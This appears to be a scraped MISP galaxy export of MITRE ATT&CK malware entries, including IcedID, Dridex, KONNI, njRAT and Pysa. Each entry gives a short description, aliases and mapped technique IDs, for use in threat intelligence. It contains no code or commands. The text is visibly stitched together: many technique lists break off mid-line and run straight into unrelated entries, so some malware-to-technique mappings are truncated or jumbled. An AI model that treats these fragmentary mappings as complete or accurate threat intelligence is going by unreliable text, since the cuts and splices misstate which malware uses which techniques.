• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 7073. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0438">https://attack.mitre.org/software/S0438</a></td>
</tr>
</tbody>
</table>

IcedID - S0483

[IcedID](https://attack.mitre.org/software/S0483) is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017. [IcedID](https://attack.mitre.org/software/S0483) has been downloaded by [Emotet](https://attack.mitre.org/software/S0367) in multiple campaigns.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)

The tag is: *misp-galaxy:mitre-malware="IcedID - S0483"

IcedID - S0483 is also known as:

• IcedID

View relationships graph

IcedID - S0483 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
Dridex - S0384

[Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries,
leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex). (Citation: Dell Dridex Oct 2015) (Citation: Kaspersky Dridex May 2017) (Citation: Treasury EvilCorp Dec 2019)

The tag is: `misp-galaxy:mitre-malware="Dridex - S0384"`

Dridex - S0384 is also known as:

- Dridex
- Bugat v5

**View relationships graph**

Dridex - S0384 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with estimative-language:likelihood-probability="almost-certain"
GoldenSpy - S0493

[GoldenSpy](https://attack.mitre.org/software/S0493) is a backdoor malware which has been packaged with legitimate tax preparation software. [GoldenSpy](https://attack.mitre.org/software/S0493) was discovered targeting organizations in China, being delivered with the "Intelligent Tax" software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes. (Citation: Trustwave GoldenSpy June 2020)

The tag is: `misp-galaxy:mitre-malware="GoldenSpy - S0493"`

GoldenSpy - S0493 is also known as:

- GoldenSpy

View relationships graph

GoldenSpy - S0493 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041"` with estimative-
HiddenWasp - S0394

[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++. (Citation: Intezer HiddenWasp Map 2019)

The tag is: `misp-galaxy:mitre-malware="HiddenWasp - S0394"`

HiddenWasp - S0394 is also known as:

- HiddenWasp

View relationships graph

HiddenWasp - S0394 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7077. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0394">https://attack.mitre.org/software/S0394</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/">https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/</a></td>
</tr>
</tbody>
</table>

**Okrum - S0439**

[Okrum](https://attack.mitre.org/software/S0439) is a Windows backdoor that has been seen in use since December 2016 with strong links to [Ke3chang](https://attack.mitre.org/groups/G0004). (Citation: ESET Okrum July 2019)

The tag is: *misp-galaxy:mitre-malware="Okrum - S0439"*

Okrum - S0439 is also known as:

• Okrum

View relationships graph

Okrum - S0439 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 7078. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0439">https://attack.mitre.org/software/S0439</a></td>
</tr>
</tbody>
</table>

**MoleNet - S0553**

[MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)

The tag is: misp-galaxy:mitre-malware="MoleNet - S0553"

MoleNet - S0553 is also known as:

• MoleNet

View relationships graph

MoleNet - S0553 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7079. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0553">https://attack.mitre.org/software/S0553</a></td>
</tr>
</tbody>
</table>

**BoomBox - S0635**

[BoomBox](https://attack.mitre.org/software/S0635) is a downloader responsible for executing next stage components that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)

The tag is: *misp-galaxy:mitre-malware="BoomBox - S0635"*

BoomBox - S0635 is also known as:

- BoomBox

View relationships graph

BoomBox - S0635 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7080. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0635">https://attack.mitre.org/software/S0635</a></td>
</tr>
</tbody>
</table>

xCaon - S0653

xCaon - S0653 is an HTTP variant of the [BoxCaon](https://attack.mitre.org/software/S0651) malware family that has used by [IndigoZebra](https://attack.mitre.org/groups/G0136) since at least 2014. [xCaon](https://attack.mitre.org/software/S0653) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)

The tag is: misp-galaxy:mitre-malware="xCaon - S0653"

xCaon - S0653 is also known as:

• xCaon

View relationships graph
xCaon - S0653 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7081. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0653">https://attack.mitre.org/software/S0653</a></td>
</tr>
</tbody>
</table>

**GPlayed - S0536**

[GPlayed](https://attack.mitre.org/software/S0536) is an Android trojan with a broad range of capabilities.(Citation: Talos GPlayed)

The tag is: `misp-galaxy:mitre-malware="GPlayed - S0536"`

GPlayed - S0536 is also known as:

- GPlayed
GPlayed - S0536 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1626.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1642" with estimative-language:likelihood-probability="almost-certain"

Table 7082. Table References
KONNI - S0356

[KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)

The tag is: `misp-galaxy:mitre-malware="KONNI - S0356"`

KONNI - S0356 is also known as:

- KONNI

View relationships graph

KONNI - S0356 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"


Table 7083. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0356">https://attack.mitre.org/software/S0356</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html">https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html</a></td>
</tr>
<tr>
<td><a href="https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b">https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b</a></td>
</tr>
</tbody>
</table>

**HyperStack - S0537**

[HyperStack](https://attack.mitre.org/software/S0537) is a RPC-based backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2018. [HyperStack](https://attack.mitre.org/software/S0537) has similarities to other backdoors used by [Turla](https://attack.mitre.org/groups/G0010) including [Carbon](https://attack.mitre.org/software/S0335).( Citation: Accenture HyperStack October 2020)
The tag is: `misp-galaxy:mitre-malware="HyperStack - S0537"`

HyperStack - S0537 is also known as:

- HyperStack

**View relationships graph**

HyperStack - S0537 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559"` with estimative-language:likelihood-probability="almost-certain"

**Table 7084. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0537">https://attack.mitre.org/software/S0537</a></td>
</tr>
</tbody>
</table>

**Remexi - S0375**

[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)

The tag is: `misp-galaxy:mitre-malware="Remexi - S0375"`

Remexi - S0375 is also known as:

- Remexi

**View relationships graph**

Remexi - S0375 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"` with
njRAT - S0385

[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East. (Citation: Fidelis njRAT June 2013)
The tag is: misp-galaxy:mitre-malware="njRAT - S0385"

njRAT - S0385 is also known as:

- njRAT
- Njw0rm
- LV
- Bladabindi

View relationships graph

njRAT - S0385 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

**Table 7086. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0385">https://attack.mitre.org/software/S0385</a></td>
</tr>
</tbody>
</table>
Crutch - S0538

[Crutch](https://attack.mitre.org/software/S0538) is a backdoor designed for document theft that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2015. (Citation: ESET Crutch December 2020)

The tag is: `misp-galaxy:mitre-malware="Crutch - S0538"`

Crutch - S0538 is also known as:

- Crutch

View relationships graph

Crutch - S0538 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 7087. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0538">https://attack.mitre.org/software/S0538</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/">https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/</a></td>
</tr>
</tbody>
</table>

**Pysa - S0583**

[Pysa](https://attack.mitre.org/software/S0583) is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations. (Citation: CERT-FR PYSA April 2020)

The tag is: *misp-galaxy:mitre-malware="Pysa - S0583"*

Pysa - S0583 is also known as:

- Pysa
- Mespinoza

View relationships graph

Pysa - S0583 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

